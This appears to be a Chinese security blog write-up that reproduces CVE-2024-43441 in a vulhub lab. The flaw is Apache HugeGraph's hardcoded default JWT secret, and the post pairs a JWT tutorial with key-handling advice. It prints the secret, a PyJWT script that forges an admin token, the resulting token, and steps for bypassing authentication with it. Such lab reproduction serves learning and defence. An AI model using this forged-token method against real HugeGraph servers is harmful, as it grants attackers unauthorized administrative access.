【vulhub漏洞复现】Auth Bypass -- Apache HugeGraph JWT Token硬编码导致权限绕过(CVE-2024-43441)

本文最后更新于 2026年1月19日 上午

1.漏洞原理

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。

Apache HugeGraph 存在一个 JWT token 密钥硬编码漏洞。当启用了认证但未配置 auth.token_secret 时,HugeGraph 将使用一个硬编码的默认 JWT 密钥,其值为 FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。攻击者可以使用这个默认密钥生成有效的 JWT token,从而绕过认证执行未经授权的操作。

在一般软件中,JWT Token 的生成遵循标准化流程,核心是构造数据、编码、签名三个步骤,确保 Token 可验证且防篡改。下面我用清晰的步骤和场景拆解这个过程:


🔑 一、JWT Token 的基本结构

JWT 由三部分组成,用 . 连接:

1
Header.Payload.Signature
  • Header(头部):描述 Token 的类型和签名算法。
  • Payload(负载):存放用户身份、权限、过期时间等业务数据(默认不加密,仅编码)。
  • Signature(签名):用密钥对前两部分的编码结果进行加密,用于验证 Token 完整性。

🛠️ 二、标准生成流程

1. 构造 Header

Header 是一个 JSON 对象,通常包含两个字段:

  • alg:签名算法(如 HS256 对称加密、RS256 非对称加密)。
  • typ:Token 类型,固定为 JWT

示例:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

之后将这个 JSON 进行 Base64Url 编码(和 Base64 类似,但替换了 +//-/_,去掉末尾 =)。


2. 构造 Payload

Payload 存放业务声明(Claims),分为三类:

  • 标准声明(可选):iss(签发者)、exp(过期时间)、sub(主题)、aud(受众)等。
  • 自定义声明:业务需要的字段,如 user_idrolepermissions
  • 私有声明:服务端和客户端约定的字段。

⚠️ 注意:Payload 仅做 Base64Url 编码,不加密,因此不能存放密码、银行卡等敏感信息。

示例:

1
2
3
4
5
6
{
"user_id": "123456",
"user_name": "admin",
"role": "super_admin",
"exp": 1735689600 // 过期时间(Unix 时间戳)
}

同样对这个 JSON 进行 Base64Url 编码


3. 生成 Signature

签名是确保 Token 未被篡改的核心,生成方式分两种:

(1)对称加密算法(如 HS256)
  • 服务端持有一个共享密钥(Secret Key)。

  • 签名公式:

    1
    2
    3
    4
    HMACSHA256(
    base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
    Secret Key
    )
  • 优点:计算快,适合性能要求高的场景。

  • 风险:密钥需在服务端安全存储,一旦泄露,攻击者可伪造 Token(如你之前看到的 CVE-2024-43441 就是硬编码密钥导致的漏洞)。

(2)非对称加密算法(如 RS256)
  • 服务端生成**公钥(Public Key)**和**私钥(Private Key)**。
  • 用私钥对 Header.Payload 进行签名,公钥用于验证签名。
  • 优点:私钥仅服务端持有,公钥可公开,安全性更高。
  • 适合跨服务、多系统认证场景(如 OAuth2.0)。

4. 拼接最终 Token

将编码后的 Header、Payload 和生成的 Signature 用 . 连接,得到完整的 JWT Token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2IiwidXNlcl9uYW1lIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJfYWRtaW4iLCJleHAiOjE3MzU2ODk2MDB9.7JZ7r0xQZ7r0xQZ7r0xQZ7r0xQZ7r0xQZ7r0xQ

🌐 三、软件中的实际生成场景

  1. 认证服务器生成

    用户登录成功后,认证服务(如 OAuth2.0 服务、单点登录系统)会生成 JWT Token,返回给客户端。

  2. 后端框架集成

    开发中通常用成熟库生成 Token,避免手动编码:

    • Python:PyJWT(你之前看到的漏洞示例就是用它)
    • Java:JJWT
    • Node.js:jsonwebtoken
    • Go:jwt-go
  3. 密钥管理

    • 对称密钥:通过配置文件、环境变量或密钥管理系统(KMS)存储,禁止硬编码(如漏洞中的硬编码密钥就是高危错误)。
    • 非对称密钥:定期轮换私钥,公钥可通过接口或配置中心下发。

📌 四、关键安全注意事项

  1. 设置合理过期时间exp 字段建议设为 15~60 分钟,结合刷新 Token(Refresh Token)实现无感续期。
  2. 避免敏感数据入 Payload:Payload 仅编码不加密,敏感信息需加密后再存入。
  3. 密钥安全存储:禁止硬编码密钥,避免提交到代码仓库;非对称加密的私钥需严格权限控制。
  4. 使用 HTTPS 传输:防止 Token 在网络传输中被窃取。

2.漏洞利用

  • docker compose up -d 启动服务后,你可以通过 http://your-ip:8080 访问 HugeGraph 的 API。

  • 为了安全,这个 API 默认是需要身份验证的,有两种方式:

    • HTTP 基础认证:用用户名和密码(默认用户名是 admin,密码来自启动容器时的 PASSWORD 环境变量)。
    • JWT 认证:用一个加密的 Token 来证明身份。
  • 如果你不提供任何认证信息就直接访问 API,就会收到 Authentication credentials are required 的错误,意思是 “需要提供身份凭证”。

    1
    2
    3
    4
    5
    {    
    "exception": "class jakarta.ws.rs.NotAuthorizedException",
    "message": "Authentication credentials are required",
    "cause": ""
    }

HugeGraph 使用了一个公开的默认 JWT 密钥。JWT Token 是用密钥签名生成的,正常情况下,只有服务端知道这个密钥,才能生成有效的 Token。但如果这个密钥是默认且公开的,攻击者就可以用它生成一个有效的 JWT Token,直接绕过身份验证,不需要知道 admin 的密码

利用默认公开密钥生成JWT Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 安装 jwt 库,运行 `pip install pyjwt`
import jwt

# 使用默认密钥生成 JWT token
token = jwt.encode(
{
"user_name": "admin",
"user_id": "-30:admin",
"exp": 9739523483
},
"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
algorithm="HS256"
)
print(f"Generated JWT token: {token}")
# Output:
# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg

使用bp发送请求

查看其官网可以知道其受保护节点为

1
localhost:8080/swagger-ui/index.html

访问这个节点

可以看到这个接口文档此时处于上锁状态,并且有两种解锁方式

  1. HTTP 基础认证Authorization: Basic YWRtaW46cGFzc3dvcmQ=把用户名 + 密码用 Base64 编码后传输,简单但不安全(编码可逆向破解)
  2. Bearer 认证Authorization: Bearer eyJhbGciOiJIUzI1Ni…`用 Token 代替密码,Token 是签名过的,且有效期通常较短,更适合 API 场景

我们直接输入生成了的Token

登录成功


【vulhub漏洞复现】Auth Bypass -- Apache HugeGraph JWT Token硬编码导致权限绕过(CVE-2024-43441)
http://www.ybyb.org.cn/2026/01/18/【vulhub漏洞复现】Auth-Bypass-Apache-HugeGraph-JWT-Token硬编码导致权限绕过(CVE-2024-43441)/
作者
LHN
发布于
2026年1月18日
许可协议